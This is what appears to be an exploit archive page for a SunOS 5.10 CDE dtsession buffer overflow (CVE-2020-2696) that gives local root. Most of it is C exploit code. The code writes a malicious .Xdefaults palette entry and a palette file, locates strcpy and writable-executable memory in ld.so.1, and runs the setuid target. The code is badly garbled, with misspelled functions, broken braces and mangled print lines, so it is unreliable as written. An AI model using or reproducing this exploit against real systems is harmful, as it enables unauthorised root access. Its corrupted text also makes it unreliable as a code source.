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SunOS 5.10 Generic_147148-26 Local Privilege Escalation

SunOS version 5.10 Generic_147148-26 local privilege escalation exploit. A buffer overflow in the CheckMonitor() function in the Common Desktop Environment versions 2.3.1 and earlier and 1.6 and earlier, as distributed with Oracle Solaris 10 1/13 (Update 11) and earlier, allows local users to gain root privileges via a long palette name passed to dtsession in a malicious .Xdefaults file.

tags | exploit, overflow, local, root advisories | CVE-2020-2696

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```
add_env(display);
add_env("HOME=/tmp");
add_env(NULL);
   /* calculate the payload address */
payaddr = sb - OFFSET;
   /* prepare the evil palette name */
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf) - 1] = 0x0;
   /* fill with function address in ld.so.l, saved eip, and arguments */
for (i = PADDING; i < BUFSIZE - 16; i += 4) {
    set_val(buf, i, ret); /* stropy */
    set_val(buf, i += 4, rex_mem); /* saved eip */
    set_val(buf, i += 4, rex_mem); /* ist argument */
    set_val(buf, i += 4, rex_mem); /* lat argument */
   /* prepare the evil .Xdefaults file */
fp = fopen("/tmp/.Xdefaults", "w");
if (!fp) {
    perror("error creating .Xdefaults file");
    exit(1);
    } fprintf(fp, "*0*ColorPalette: %s\n", buf); // or *0*MonochromePalette fclose(fp);
  /* prepare the evil palette file (badchars currently not handled) */
mkdir("tmp/.dt",0755);
mkdir("fund/.dt/palettes",0755);
sprintf(palette.file, "/tmp/.dt/palettes/%s", buf);
fp = fopen(palette_file, "v");
if (!fp|
perror("error creating palette file");
exit(1);
    fprintf(fp, "Black\n");
fclose(fp);
   /* print some output */
sysinfo(SI FLATFORM, platform, sizeof(platform) - 1);
sysinfo(SI RELEASE, release, sizeof(release) - 1);
fprintf(stderr, "Using SI FLATFORM\t: %% (%))n", platform, release);
fprintf(stderr, "Using stack base\t: Ox\p\n", (void *)ab);
fprintf(stderr, "Using take hase\t: Ox\p\n", (void *)ab);
fprintf(stderr, "Using payload address\t: Ox\p\n", (void *)avw, mem);
fprintf(stderr, "Using payload address\t: Ox\p\n", (void *)avw, fprintf(stderr, "Using payload address\t: Ox\p\n", (void *)avw, fprintf(stderr, "Using stropy() address\t: Ox\p\n'n, (void *)avw, fprintf(stderr, "Using stropy() address\t: Ox\p\n'n, (void *)avw, for the first first first first for the first first
   /* run the vulnerable program */
execve(VULN, arg, env);
perror("execve");
exit(0);
 * add_env(): add a variable to envp and pad if needed
 */
.nt add_env(char *string)
   int i;
   /* null termination */
if (!string) {
  env[env_pos] = NULL;
  return env_len;
}
   /* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
  /* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < 4 - ((strlen(string) + 1) % 4)); i++, env_pos++) {
    env[env_pos] = string + strlen(string);
    env [en+;</pre>
   return env_len;
/* ^* check_zero(): check an address for the presence of a 0x00 ^*
 */
roid check_zero(int addr, char *pattern)
 if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff00000) ||
    !(addr & 0xff000000) {
    fprintf(stder, "Error: %s contains a 0x00!\n", pattern);
    exit(1);
 /*
    * search_ldso(): search for a symbol inside ld.so.1
    */
int search ldso(char *svm)
   int addr;
void *handle;
Link_map *lm;
   /* open the executable object file */
if ((handle = dimopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
    perror("dlopen");
    exit(1);
  /* get dynamic load information */
if ((dlinfo(handle, RFLD_DI_LINEMAP, &lm)) == -1) {
    percor("dlinfo");
    exit(l);
   /* search for the address of the symbol */
if ((addr = (int)disym(handle, sym)) == NULL) {
    fprintf(stderr, "sorry, function %s() not found\n", sym);
    exit(l);
    /\star close the executable object file \star/ dlclose(handle);
   check_zero(addr - 4, sym);
return addr;
 * search_rwx_mem(): search for an RWX memory segment valid for all
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
  nt search_rwx_mem(void)
  int fd;
char tmp[16];
prmap_t map;
int addr = 0, addr_old;
    /* open the proc filesystem */
sprintf(tmp,"/proc/%d/map", (int)getpid());
if ((fd = open(tmp, O_RDONLY)) < 0) {
    fprintf(stderr, "can't open %s\n", tmp);
    exit(1);</pre>
   /* search for the last RWX memory segment before stack (last - 1) */
while (read(fd, smap, sizeof(map)))
if (map.pr_vddi;
if (map.pr_vddis) & (MA_READ | MA_WRITE | MA_EXEC)) {
    addr_old - addr;
    addr = map.pr_vddir;
    close(fd);
 /* add 4 to the exact address NULL bytes */
if (!(addr_old & Oxff))
    addr_old |= OxO4;
if (!(addr_old & Oxff00))
    addr_old |= 0x0400;
   return addr old;
```

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```
}

/*

* set_val(): copy a dword inside a buffer (little endian)

*/

void set_val(char *buf, int pos, int val)

{

buf[pos] = (val & 0x000000ff);

buf[pos + 1] = (val & 0x0000f00) >> 8;

buf[pos + 2] = (val & 0x00f0000) >> 16;

buf[pos + 3] = (val & 0xff000000) >> 24;

}
```

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